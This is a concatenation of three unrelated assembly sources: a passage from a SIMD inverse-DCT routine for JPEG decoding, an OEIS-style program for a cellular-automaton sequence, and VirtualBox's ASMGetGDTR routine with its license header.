(Original) ; z5 = (z3 + z4) * 1.175875602; ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; ; z3 += z5; z4 += z5; ; ; (This implementation) ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); movdqa xmm2, xmm5 movdqa xmm0, xmm5 punpcklwd xmm2, xmm7 punpckhwd xmm0, xmm7 movdqa xmm5, xmm2 movdqa xmm7, xmm0 pmaddwd xmm2, [rel PW_MF078_F117] ; xmm2=z3L pmaddwd xmm0, [rel PW_MF078_F117] ; xmm0=z3H pmaddwd xmm5, [rel PW_F117_F078] ; xmm5=z4L pmaddwd xmm7, [rel PW_F117_F078] ; xmm7=z4H movdqa XMMWORD [wk(10)], xmm2 ; wk(10)=z3L movdqa XMMWORD [wk(11)], xmm0 ; wk(11)=z3H ; (Original) ; z1 = tmp0 + tmp3; z2 = tmp1 + tmp2; ; tmp0 = tmp0 * 0.298631336; tmp1 = tmp1 * 2.053119869; ; tmp2 = tmp2 * 3.072711026; tmp3 = tmp3 * 1.501321110; ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; ; tmp0 += z1 + z3; tmp1 += z2 + z4; ; tmp2 += z2 + z3; tmp3 += z1 + z4; ; ; (This implementation) ; tmp0 = tmp0 * (0.298631336 - 0.899976223) + tmp3 * -0.899976223; ; tmp1 = tmp1 * (2.053119869 - 2.562915447) + tmp2 * -2.562915447; ; tmp2 = tmp1 * -2.562915447 + tmp2 * (3.072711026 - 2.562915447); ; tmp3 = tmp0 * -0.899976223 + tmp3 * (1.501321110 - 0.899976223); ; tmp0 += z3; tmp1 += z4; ; tmp2 += z3; tmp3 += z4; movdqa xmm2, xmm3 movdqa xmm0, xmm3 punpcklwd xmm2, xmm4 punpckhwd xmm0, xmm4 movdqa xmm3, xmm2 movdqa xmm4, xmm0 pmaddwd xmm2, [rel PW_MF060_MF089] ; xmm2=tmp0L pmaddwd xmm0, [rel PW_MF060_MF089] ; xmm0=tmp0H pmaddwd xmm3, [rel PW_MF089_F060] ; xmm3=tmp3L pmaddwd xmm4, [rel PW_MF089_F060] ; xmm4=tmp3H paddd xmm2, XMMWORD [wk(10)] ; xmm2=tmp0L paddd xmm0, XMMWORD [wk(11)] ; xmm0=tmp0H paddd xmm3, xmm5 ; xmm3=tmp3L paddd xmm4, xmm7 ; xmm4=tmp3H movdqa XMMWORD [wk(8)], xmm2 ; wk(8)=tmp0L movdqa XMMWORD [wk(9)], xmm0 ; wk(9)=tmp0H movdqa xmm2, xmm1 movdqa xmm0, xmm1 punpcklwd xmm2, xmm6 punpckhwd xmm0, xmm6 movdqa xmm1, xmm2 movdqa xmm6, xmm0 pmaddwd xmm2, [rel PW_MF050_MF256] ; xmm2=tmp1L pmaddwd xmm0, [rel PW_MF050_MF256] ; xmm0=tmp1H pmaddwd xmm1, [rel PW_MF256_F050] ; xmm1=tmp2L pmaddwd xmm6, [rel PW_MF256_F050] ; xmm6=tmp2H paddd xmm2, xmm5 ; xmm2=tmp1L paddd xmm0, xmm7 ; xmm0=tmp1H paddd xmm1, XMMWORD [wk(10)] ; xmm1=tmp2L paddd xmm6, XMMWORD [wk(11)] ; xmm6=tmp2H movdqa XMMWORD [wk(10)], xmm2 ; wk(10)=tmp1L movdqa XMMWORD [wk(11)], xmm0 ; wk(11)=tmp1H ; -- Final output stage movdqa xmm5, XMMWORD [wk(0)] ; xmm5=tmp10L movdqa xmm7, XMMWORD [wk(1)] ; xmm7=tmp10H movdqa xmm2, xmm5 movdqa xmm0, xmm7 paddd xmm5, xmm3 ; xmm5=data0L paddd xmm7, xmm4 ; xmm7=data0H psubd xmm2, xmm3 ; xmm2=data7L psubd xmm0, xmm4 ; xmm0=data7H movdqa xmm3, [rel PD_DESCALE_P1] ; xmm3=[rel PD_DESCALE_P1] paddd xmm5, xmm3 paddd xmm7, xmm3 psrad xmm5, DESCALE_P1 psrad xmm7, DESCALE_P1 paddd xmm2, xmm3 paddd xmm0, xmm3 psrad xmm2, DESCALE_P1 psrad xmm0, DESCALE_P1 packssdw xmm5, xmm7 ; xmm5=data0=(00 01 02 03 04 05 06 07) packssdw xmm2, xmm0 ; xmm2=data7=(70 71 72 73 74 75 76 77) movdqa xmm4, XMMWORD [wk(4)] ; xmm4=tmp11L movdqa xmm3, XMMWORD [wk(5)] ; xmm3=tmp11H movdqa xmm7, xmm4 movdqa xmm0, xmm3 paddd xmm4, xmm1 ; xmm4=data1L paddd xmm3, xmm6 ; xmm3=data1H psubd xmm7, xmm1 ; xmm7=data6L psubd xmm0, xmm6 ; xmm0=data6H movdqa xmm1, [rel PD_DESCALE_P1] ; xmm1=[rel PD_DESCALE_P1] paddd xmm4, xmm1 paddd xmm3, xmm1 psrad xmm4, DESCALE_P1 psrad xmm3, DESCALE_P1 paddd xmm7, xmm1 paddd xmm0, xmm1 psrad xmm7, DESCALE_P1 psrad xmm0, DESCALE_P1 packssdw xmm4, xmm3 ; xmm4=data1=(10 11 12 13 14 15 16 17) packssdw xmm7, xmm0 ; xmm7=data6=(60 61 62 63 64 65 66 67) movdqa xmm6, xmm5 ; transpose coefficients(phase 1) punpcklwd xmm5, xmm4 ; xmm5=(00 10 01 11 02 12 03 13) punpckhwd xmm6, xmm4 ; xmm6=(04 14 05 15 06 16 07 17) movdqa xmm1, xmm7 ; transpose coefficients(phase 1) punpcklwd xmm7, xmm2 ; xmm7=(60 70 61 71 62 72 63 73) punpckhwd xmm1, xmm2 ; xmm1=(64 74 65 75 66 76 67 77) movdqa xmm3, XMMWORD [wk(6)] ; xmm3=tmp12L movdqa xmm0, XMMWORD [wk(7)] ; xmm0=tmp12H movdqa xmm4, XMMWORD [wk(10)] ; xmm4=tmp1L movdqa xmm2, XMMWORD [wk(11)] ; xmm2=tmp1H movdqa XMMWORD [wk(0)], xmm5 ; wk(0)=(00 10 01 11 02 12 03 13) movdqa XMMWORD [wk(1)], xmm6 ; wk(1)=(04 14 05 15 06 16 07 17) movdqa XMMWORD [wk(4)], xmm7 ; wk(4)=(60 70 61 71 62 72 63 73) movdqa XMMWORD [wk(5)], xmm1 ; wk(5)=(64 74 65 75 66 76 67 77) movdqa xmm5, xmm3 movdqa xmm6, xmm0 paddd xmm3, xmm4 ; xmm3=data2L paddd xmm0, xmm2 ; xmm0=data2H psubd xmm5, xmm4 ; xmm5=data5L psubd xmm6, xmm2 ; xmm6=data5H movdqa xmm7, [rel PD_DESCALE_P1] ; xmm7=[rel PD_DESCALE_P1] paddd xmm3, xmm7 paddd xmm0, xmm7 psrad xmm3, DESCALE_P1 psrad xmm0, DESCALE_P1 paddd xmm5, xmm7 paddd xmm6, xmm7 psrad xmm5, DESCALE_P1 psrad xmm6, DESCALE_P1 packssdw xmm3, xmm0 ; xmm3=data2=(20 21 22 23 24 25 26 27) packssdw xmm5, xmm6 ; xmm5=data5=(50 51 52 53 54 55 56 57) movdqa xmm1, XMMWORD [wk(2)] ; xmm1=tmp13L movdqa xmm4, XMMWORD [wk(3)] ; xmm4=tmp13H movdqa xmm2, XMMWORD [wk(8)] ; xmm2=tmp0L movdqa xmm7, XMMWORD [wk(9)] ; xmm7=tmp0H movdqa xmm0, xmm1 movdqa xmm6, xmm4 paddd xmm1, xmm2 ; xmm1=data3L paddd xmm4, xmm7 ; xmm4=data3H psubd xmm0, xmm2 ; xmm0=data4L psubd xmm6, xmm7 ; xmm6=data4H movdqa xmm2, [rel PD_DESCALE_P1] ; xmm2=[rel PD_DESCALE_P1] paddd xmm1, xmm2 paddd xmm4, xmm2 psrad xmm1, DESCALE_P1 psrad xmm4, DESCALE_P1 paddd xmm0, xmm2 paddd xmm6, xmm2 psrad xmm0, DESCALE_P1 psrad xmm6, DESCALE_P1 packssdw xmm1, xmm4 ; xmm1=data3=(30 31 32 33 34 35 36 37) packssdw xmm0, xmm6 ; xmm0=data4=(40 41 42 43 44 45 46 47) movdqa xmm7, XMMWORD [wk(0)] ; xmm7=(00 10 01 11 02 12 03 13) movdqa xmm2, XMMWORD [wk(1)] ; xmm2=(04 14 05 15 06 16 07 17) movdqa xmm4, xmm3 ; transpose coefficients(phase 1) punpcklwd xmm3, xmm1 ; xmm3=(20 30 21 31 22 32 23 33) punpckhwd xmm4, xmm1 ; xmm4=(24 34 25 35 26 36 27 37) movdqa xmm6, xmm0 ; transpose coefficients(phase 1) punpcklwd xmm0, xmm5 ; xmm0=(40 50 41 51 42 52 43 53) punpckhwd xmm6, xmm5 ; xmm6=(44 54 45 55 46 56 47 57) movdqa xmm1, xmm7 ; transpose coefficients(phase 2) punpckldq xmm7, xmm3 ; xmm7=(00 10 20 30 01 11 21 31) punpckhdq xmm1, xmm3 ; xmm1=(02 12 22 32 03 13 23 33) movdqa xmm5, xmm2 ; transpose coefficients(phase 2) punpckldq xmm2, xmm4 ; xmm2=(04 14 24 34 05 15 25 35) punpckhdq xmm5, xmm4 ; xmm5=(06 16 26 36 07 17 27 37) movdqa xmm3, XMMWORD [wk(4)] ; xmm3=(60 70 61 71 62 72 63 73) movdqa xmm4, XMMWORD [wk(5)] ; xmm4=(64 74 65 75 66 76 67 77) movdqa XMMWORD [wk(6)], xmm2 ; wk(6)=(04 14 24 34 05 15 25 35) movdqa XMMWORD [wk(7)], xmm5 ; wk(7)=(06 16 26 36 07 17 27 37) movdqa xmm2, xmm0 ; transpose coefficients(phase 2) punpckldq xmm0, xmm3 ; xmm0=(40 50 60 70 41 51 61 71) punpckhdq xmm2, xmm3 ; xmm2=(42 52 62 72 43 53 63 73) movdqa xmm5, xmm6 ; transpose coefficients(phase 2) punpckldq xmm6, xmm4 ; xmm6=(44 54 64 74 45 55 65 75) punpckhdq xmm5, xmm4 ; xmm5=(46 56 66 76 47 57 67 77) movdqa xmm3, xmm7 ; transpose coefficients(phase 3) punpcklqdq xmm7, xmm0 ; xmm7=col0=(00 10 20 30 40 50 60 70) punpckhqdq xmm3, xmm0 ; xmm3=col1=(01 11 21 31 41 51 61 71) movdqa xmm4, xmm1 ; transpose coefficients(phase 3) punpcklqdq xmm1, xmm2 ; xmm1=col2=(02 12 22 32 42 52 62 72) punpckhqdq xmm4, xmm2 ; xmm4=col3=(03 13 23 33 43 53 63 73) movdqa xmm0, XMMWORD [wk(6)] ; xmm0=(04 14 24 34 05 15 25 35) movdqa xmm2, XMMWORD [wk(7)] ; xmm2=(06 16 26 36 07 17 27 37) movdqa XMMWORD [wk(8)], xmm3 ; wk(8)=col1 movdqa XMMWORD [wk(9)], xmm4 ; wk(9)=col3 movdqa xmm3, xmm0 ; transpose coefficients(phase 3) punpcklqdq xmm0, xmm6 ; xmm0=col4=(04 14 24 34 44 54 64 74) punpckhqdq xmm3, xmm6 ; xmm3=col5=(05 15 25 35 45 55 65 75) movdqa xmm4, xmm2 ; transpose coefficients(phase 3) punpcklqdq xmm2, xmm5 ; xmm2=col6=(06 16 26 36 46 56 66 76) punpckhqdq xmm4, xmm5 ; xmm4=col7=(07 17 27 37 47 57 67 77) movdqa XMMWORD [wk(10)], xmm3 ; wk(10)=col5 movdqa XMMWORD [wk(11)], xmm4 ; wk(11)=col7 .column_end: ; -- Prefetch the next coefficient block prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 0*32] prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 1*32] prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 2*32] prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 3*32] ; ---- Pass 2: process rows from work array, store into output array. mov rax, [original_rbp] mov rdi, r12 ; (JSAMPROW *) mov eax, r13d ; -- Even part ; xmm7=col0, xmm1=col2, xmm0=col4, xmm2=col6 ; (Original) ; z1 = (z2 + z3) * 0.541196100; ; tmp2 = z1 + z3 * -1.847759065; ; tmp3 = z1 + z2 * 0.765366865; ; ; (This implementation) ; tmp2 = z2 * 0.541196100 + z3 * (0.541196100 - 1.847759065); ; tmp3 = z2 * (0.541196100 + 0.765366865) + z3 * 0.541196100; movdqa xmm6, xmm1 ; xmm1=in2=z2 movdqa xmm5, xmm1 punpcklwd xmm6, xmm2 ; xmm2=in6=z3 punpckhwd xmm5, xmm2 movdqa xmm1, xmm6 movdqa xmm2, xmm5 pmaddwd xmm6, [rel PW_F130_F054] ; xmm6=tmp3L pmaddwd xmm5, [rel PW_F130_F054] ; xmm5=tmp3H pmaddwd xmm1, [rel PW_F054_MF130] ; xmm1=tmp2L pmaddwd xmm2, [rel PW_F054_MF130] ; xmm2=tmp2H movdqa xmm3, xmm7 paddw xmm7, xmm0 ; xmm7=in0+in4 psubw xmm3, xmm0 ; xmm3=in0-in4 pxor xmm4, xmm4 pxor xmm0, xmm0 punpcklwd xmm4, xmm7 ; xmm4=tmp0L punpckhwd xmm0, xmm7 ; xmm0=tmp0H psrad xmm4, (16-CONST_BITS) ; psrad xmm4,16 & pslld xmm4,CONST_BITS psrad xmm0, (16-CONST_BITS) ; psrad xmm0,16 & pslld xmm0,CONST_BITS movdqa xmm7, xmm4 paddd xmm4, xmm6 ; xmm4=tmp10L psubd xmm7, xmm6 ; xmm7=tmp13L movdqa xmm6, xmm0 paddd xmm0, xmm5 ; xmm0=tmp10H psubd xmm6, xmm5 ; xmm6=tmp13H movdqa XMMWORD [wk(0)], xmm4 ; wk(0)=tmp10L movdqa XMMWORD [wk(1)], xmm0 ; wk(1)=tmp10H movdqa XMMWORD [wk(2)], xmm7 ; wk(2)=tmp13L movdqa XMMWORD [wk(3)], xmm6 ; wk(3)=tmp13H pxor xmm5, xmm5 pxor xmm4, xmm4 punpcklwd xmm5, xmm3 ; xmm5=tmp1L punpckhwd xmm4, xmm3 ; xmm4=tmp1H psrad xmm5, (16-CONST_BITS) ; psrad xmm5,16 & pslld xmm5,CONST_BITS psrad xmm4, (16-CONST_BITS) ; psrad xmm4,16 & pslld xmm4,CONST_BITS movdqa xmm0, xmm5 paddd xmm5, xmm1 ; xmm5=tmp11L psubd xmm0, xmm1 ; xmm0=tmp12L movdqa xmm7, xmm4 paddd xmm4, xmm2 ; xmm4=tmp11H psubd xmm7, xmm2 ; xmm7=tmp12H movdqa XMMWORD [wk(4)], xmm5 ; wk(4)=tmp11L movdqa XMMWORD [wk(5)], xmm4 ; wk(5)=tmp11H movdqa XMMWORD [wk(6)], xmm0 ; wk(6)=tmp12L movdqa XMMWORD [wk(7)], xmm7 ; wk(7)=tmp12H ; -- Odd part movdqa xmm6, XMMWORD [wk(9)] ; xmm6=col3 movdqa xmm3, XMMWORD [wk(8)] ; xmm3=col1 movdqa xmm1, XMMWORD [wk(11)] ; xmm1=col7 movdqa xmm2, XMMWORD [wk(10)] ; xmm2=col5 movdqa xmm5, xmm6 movdqa xmm4, xmm3 paddw xmm5, xmm1 ; xmm5=z3 paddw xmm4, xmm2 ; xmm4=z4 ; (Original) ; z5 = (z3 + z4) * 1.175875602; ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; ; z3 += z5; z4 += z5; ; ; (This implementation) ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); movdqa xmm0, xmm5 movdqa xmm7, xmm5 punpcklwd xmm0, xmm4 punpckhwd xmm7, xmm4 movdqa xmm5, xmm0 movdqa xmm4, xmm7 pmaddwd xmm0, [rel PW_MF078_F117] ; xmm0=z3L pmaddwd xmm7, [rel PW_MF078_F117] ; xmm7=z3H pmaddwd xmm5, [rel PW_F117_F078] ; xmm5=z4L pmaddwd xmm4, [rel PW_F117_F078] ; xmm4=z4H movdqa XMMWORD [wk(10)], xmm0 ; wk(10)=z3L movdqa XMMWORD [wk(11)], xmm7 ; wk(11)=z3H ; (Original) ; z1 = tmp0 + tmp3; z2 = tmp1 + tmp2; ; tmp0 = tmp0 * 0.298631336; tmp1 = tmp1 * 2.053119869; ; tmp2 = tmp2 * 3.072711026; tmp3 = tmp3 * 1.501321110; ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; ; tmp0 += z1 + z3; tmp1 += z2 + z4; ; tmp2 += z2 + z3; tmp3 += z1 + z4; ; ; (This implementation) ; tmp0 = tmp0 * (0.298631336 - 0.899976223) + tmp3 * -0.899976223; ; tmp1 = tmp1 * (2.053119869 - 2.562915447) + tmp2 * -2.562915447; ; tmp2 = tmp1 * -2.562915447 + tmp2 * (3.072711026 - 2.562915447); ; tmp3 = tmp0 * -0.899976223 + tmp3 * (1.501321110 - 0.899976223); ; tmp0 += z3; tmp1 += z4; ; tmp2 += z3; tmp3 += z4; movdqa xmm0, xmm1 movdqa xmm7, xmm1 punpcklwd xmm0, xmm3 punpckhwd xmm7, xmm3 movdqa xmm1, xmm0 movdqa xmm3, xmm7 pmaddwd xmm0, [rel PW_MF060_MF089] ; xmm0=tmp0L pmaddwd xmm7, [rel PW_MF060_MF089] ; xmm7=tmp0H pmaddwd xmm1, [rel PW_MF089_F060] ; xmm1=tmp3L pmaddwd xmm3, [rel PW_MF089_F060] ; xmm3=tmp3H paddd xmm0, XMMWORD [wk(10)] ; xmm0=tmp0L paddd xmm7, XMMWORD [wk(11)] ; xmm7=tmp0H paddd xmm1, xmm5 ; xmm1=tmp3L paddd xmm3, xmm4 ; xmm3=tmp3H movdqa XMMWORD [wk(8)], xmm0 ; wk(8)=tmp0L movdqa XMMWORD [wk(9)], xmm7 ; wk(9)=tmp0H movdqa xmm0, xmm2 movdqa xmm7, xmm2 punpcklwd xmm0, xmm6 punpckhwd xmm7, xmm6 movdqa xmm2, xmm0 movdqa xmm6, xmm7 pmaddwd xmm0, [rel PW_MF050_MF256] ; xmm0=tmp1L pmaddwd xmm7, [rel PW_MF050_MF256] ; xmm7=tmp1H pmaddwd xmm2, [rel PW_MF256_F050] ; xmm2=tmp2L pmaddwd xmm6, [rel PW_MF256_F050] ; xmm6=tmp2H paddd xmm0, xmm5 ; xmm0=tmp1L paddd xmm7, xmm4 ; xmm7=tmp1H paddd xmm2, XMMWORD [wk(10)] ; xmm2=tmp2L paddd xmm6, XMMWORD [wk(11)] ; xmm6=tmp2H movdqa XMMWORD [wk(10)], xmm0 ; wk(10)=tmp1L movdqa XMMWORD [wk(11)], xmm7 ; wk(11)=tmp1H ; -- Final output stage movdqa xmm5, XMMWORD [wk(0)] ; xmm5=tmp10L movdqa xmm4, XMMWORD [wk(1)] ; xmm4=tmp10H movdqa xmm0, xmm5 movdqa xmm7, xmm4 paddd xmm5, xmm1 ; xmm5=data0L paddd xmm4, xmm3 ; xmm4=data0H psubd xmm0, xmm1 ; xmm0=data7L psubd xmm7, xmm3 ; xmm7=data7H movdqa xmm1, [rel PD_DESCALE_P2] ; xmm1=[rel PD_DESCALE_P2] paddd xmm5, xmm1 paddd xmm4, xmm1 psrad xmm5, DESCALE_P2 psrad xmm4, DESCALE_P2 paddd xmm0, xmm1 paddd xmm7, xmm1 psrad xmm0, DESCALE_P2 psrad xmm7, DESCALE_P2 packssdw xmm5, xmm4 ; xmm5=data0=(00 10 20 30 40 50 60 70) packssdw xmm0, xmm7 ; xmm0=data7=(07 17 27 37 47 57 67 77) movdqa xmm3, XMMWORD [wk(4)] ; xmm3=tmp11L movdqa xmm1, XMMWORD [wk(5)] ; xmm1=tmp11H movdqa xmm4, xmm3 movdqa xmm7, xmm1 paddd xmm3, xmm2 ; xmm3=data1L paddd xmm1, xmm6 ; xmm1=data1H psubd xmm4, xmm2 ; xmm4=data6L psubd xmm7, xmm6 ; xmm7=data6H movdqa xmm2, [rel PD_DESCALE_P2] ; xmm2=[rel PD_DESCALE_P2] paddd xmm3, xmm2 paddd xmm1, xmm2 psrad xmm3, DESCALE_P2 psrad xmm1, DESCALE_P2 paddd xmm4, xmm2 paddd xmm7, xmm2 psrad xmm4, DESCALE_P2 psrad xmm7, DESCALE_P2 packssdw xmm3, xmm1 ; xmm3=data1=(01 11 21 31 41 51 61 71) packssdw xmm4, xmm7 ; xmm4=data6=(06 16 26 36 46 56 66 76) packsswb xmm5, xmm4 ; xmm5=(00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76) packsswb xmm3, xmm0 ; xmm3=(01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77) movdqa xmm6, XMMWORD [wk(6)] ; xmm6=tmp12L movdqa xmm2, XMMWORD [wk(7)] ; xmm2=tmp12H movdqa xmm1, XMMWORD [wk(10)] ; xmm1=tmp1L movdqa xmm7, XMMWORD [wk(11)] ; xmm7=tmp1H movdqa XMMWORD [wk(0)], xmm5 ; wk(0)=(00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76) movdqa XMMWORD [wk(1)], xmm3 ; wk(1)=(01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77) movdqa xmm4, xmm6 movdqa xmm0, xmm2 paddd xmm6, xmm1 ; xmm6=data2L paddd xmm2, xmm7 ; xmm2=data2H psubd xmm4, xmm1 ; xmm4=data5L psubd xmm0, xmm7 ; xmm0=data5H movdqa xmm5, [rel PD_DESCALE_P2] ; xmm5=[rel PD_DESCALE_P2] paddd xmm6, xmm5 paddd xmm2, xmm5 psrad xmm6, DESCALE_P2 psrad xmm2, DESCALE_P2 paddd xmm4, xmm5 paddd xmm0, xmm5 psrad xmm4, DESCALE_P2 psrad xmm0, DESCALE_P2 packssdw xmm6, xmm2 ; xmm6=data2=(02 12 22 32 42 52 62 72) packssdw xmm4, xmm0 ; xmm4=data5=(05 15 25 35 45 55 65 75) movdqa xmm3, XMMWORD [wk(2)] ; xmm3=tmp13L movdqa xmm1, XMMWORD [wk(3)] ; xmm1=tmp13H movdqa xmm7, XMMWORD [wk(8)] ; xmm7=tmp0L movdqa xmm5, XMMWORD [wk(9)] ; xmm5=tmp0H movdqa xmm2, xmm3 movdqa xmm0, xmm1 paddd xmm3, xmm7 ; xmm3=data3L paddd xmm1, xmm5 ; xmm1=data3H psubd xmm2, xmm7 ; xmm2=data4L psubd xmm0, xmm5 ; xmm0=data4H movdqa xmm7, [rel PD_DESCALE_P2] ; xmm7=[rel PD_DESCALE_P2] paddd xmm3, xmm7 paddd xmm1, xmm7 psrad xmm3, DESCALE_P2 psrad xmm1, DESCALE_P2 paddd xmm2, xmm7 paddd xmm0, xmm7 psrad xmm2, DESCALE_P2 psrad xmm0, DESCALE_P2 movdqa xmm5, [rel PB_CENTERJSAMP] ; xmm5=[rel PB_CENTERJSAMP] packssdw xmm3, xmm1 ; xmm3=data3=(03 13 23 33 43 53 63 73) packssdw xmm2, xmm0 ; xmm2=data4=(04 14 24 34 44 54 64 74) movdqa xmm7, XMMWORD [wk(0)] ; xmm7=(00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76) movdqa xmm1, XMMWORD [wk(1)] ; xmm1=(01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77) packsswb xmm6, xmm2 ; xmm6=(02 12 22 32 42 52 62 72 04 14 24 34 44 54 64 74) packsswb xmm3, xmm4 ; xmm3=(03 13 23 33 43 53 63 73 05 15 25 35 45 55 65 75) paddb xmm7, xmm5 paddb xmm1, xmm5 paddb xmm6, xmm5 paddb xmm3, xmm5 movdqa xmm0, xmm7 ; transpose coefficients(phase 1) punpcklbw xmm7, xmm1 ; xmm7=(00 01 10 11 20 21 30 31 40 41 50 51 60 61 70 71) punpckhbw xmm0, xmm1 ; xmm0=(06 07 16 17 26 27 36 37 46 47 56 57 66 67 76 77) movdqa xmm2, xmm6 ; transpose coefficients(phase 1) punpcklbw xmm6, xmm3 ; xmm6=(02 03 12 13 22 23 32 33 42 43 52 53 62 63 72 73) punpckhbw xmm2, xmm3 ; xmm2=(04 05 14 15 24 25 34 35 44 45 54 55 64 65 74 75) movdqa xmm4, xmm7 ; transpose coefficients(phase 2) punpcklwd xmm7, xmm6 ; xmm7=(00 01 02 03 10 11 12 13 20 21 22 23 30 31 32 33) punpckhwd xmm4, xmm6 ; xmm4=(40 41 42 43 50 51 52 53 60 61 62 63 70 71 72 73) movdqa xmm5, xmm2 ; transpose coefficients(phase 2) punpcklwd xmm2, xmm0 ; xmm2=(04 05 06 07 14 15 16 17 24 25 26 27 34 35 36 37) punpckhwd xmm5, xmm0 ; xmm5=(44 45 46 47 54 55 56 57 64 65 66 67 74 75 76 77) movdqa xmm1, xmm7 ; transpose coefficients(phase 3) punpckldq xmm7, xmm2 ; xmm7=(00 01 02 03 04 05 06 07 10 11 12 13 14 15 16 17) punpckhdq xmm1, xmm2 ; xmm1=(20 21 22 23 24 25 26 27 30 31 32 33 34 35 36 37) movdqa xmm3, xmm4 ; transpose coefficients(phase 3) punpckldq xmm4, xmm5 ; xmm4=(40 41 42 43 44 45 46 47 50 51 52 53 54 55 56 57) punpckhdq xmm3, xmm5 ; xmm3=(60 61 62 63 64 65 66 67 70 71 72 73 74 75 76 77) pshufd xmm6, xmm7, 0x4E ; xmm6=(10 11 12 13 14 15 16 17 00 01 02 03 04 05 06 07) pshufd xmm0, xmm1, 0x4E ; xmm0=(30 31 32 33 34 35 36 37 20 21 22 23 24 25 26 27) pshufd xmm2, xmm4, 0x4E ; xmm2=(50 51 52 53 54 55 56 57 40 41 42 43 44 45 46 47) pshufd xmm5, xmm3, 0x4E ; xmm5=(70 71 72 73 74 75 76 77 60 61 62 63 64 65 66 67) mov rdxp, JSAMPROW [rdi+0*SIZEOF_JSAMPROW] mov rsip, JSAMPROW [rdi+2*SIZEOF_JSAMPROW] movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm7 movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm1 mov rdxp, JSAMPROW [rdi+4*SIZEOF_JSAMPROW] mov rsip, JSAMPROW [rdi+6*SIZEOF_JSAMPROW] movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm4 movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm3 mov rdxp, JSAMPROW [rdi+1*SIZEOF_JSAMPROW] mov rsip, JSAMPROW [rdi+3*SIZEOF_JSAMPROW] movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm6 movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm0 mov rdxp, JSAMPROW [rdi+5*SIZEOF_JSAMPROW] mov rsip, JSAMPROW [rdi+7*SIZEOF_JSAMPROW] movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm2 movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm5 uncollect_args 4 mov rsp, rbp ; rsp <- aligned rbp pop rsp ; rsp <- original rbp pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 32
; A267886: Decimal representation of the n-th iteration of the "Rule 235" elementary cellular automaton starting with a single ON (black) cell. ; 1,4,27,127,511,2047,8191,32767,131071,524287,2097151,8388607,33554431,134217727,536870911,2147483647,8589934591,34359738367,137438953471,549755813887,2199023255551,8796093022207,35184372088831,140737488355327,562949953421311,2251799813685247,9007199254740991,36028797018963967,144115188075855871,576460752303423487,2305843009213693951,9223372036854775807,36893488147419103231,147573952589676412927,590295810358705651711,2361183241434822606847,9444732965739290427391,37778931862957161709567,151115727451828646838271,604462909807314587353087,2417851639229258349412351,9671406556917033397649407,38685626227668133590597631,154742504910672534362390527,618970019642690137449562111,2475880078570760549798248447,9903520314283042199192993791,39614081257132168796771975167,158456325028528675187087900671,633825300114114700748351602687,2535301200456458802993406410751,10141204801825835211973625643007,40564819207303340847894502572031,162259276829213363391578010288127,649037107316853453566312041152511,2596148429267413814265248164610047,10384593717069655257060992658440191,41538374868278621028243970633760767,166153499473114484112975882535043071,664613997892457936451903530140172287 mov $1,1 mov $2,$0 add $2,1 mov $3,$2 lpb $0 mul $0,2 add $2,$0 mov $0,2 mov $1,0 add $2,$3 div $2,2 mov $3,2 lpe pow $3,$2 add $1,$3 sub $1,1 mov $0,$1
; $Id: ASMGetGDTR.asm $ ;; @file ; IPRT - ASMGetGDTR(). ; ; ; Copyright (C) 2006-2015 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "iprt/asmdefs.mac" BEGINCODE ;; ; Gets the content of the GDTR CPU register. ; @param pGdtr Where to store the GDTR contents. ; msc=rcx, gcc=rdi, x86=[esp+4] ; BEGINPROC_EXPORTED ASMGetGDTR %ifdef ASM_CALL64_MSC mov rax, rcx %elifdef ASM_CALL64_GCC mov rax, rdi %elifdef RT_ARCH_X86 mov eax, [esp + 4] %else %error "Undefined arch?" %endif sgdt [xAX] ret ENDPROC ASMGetGDTR
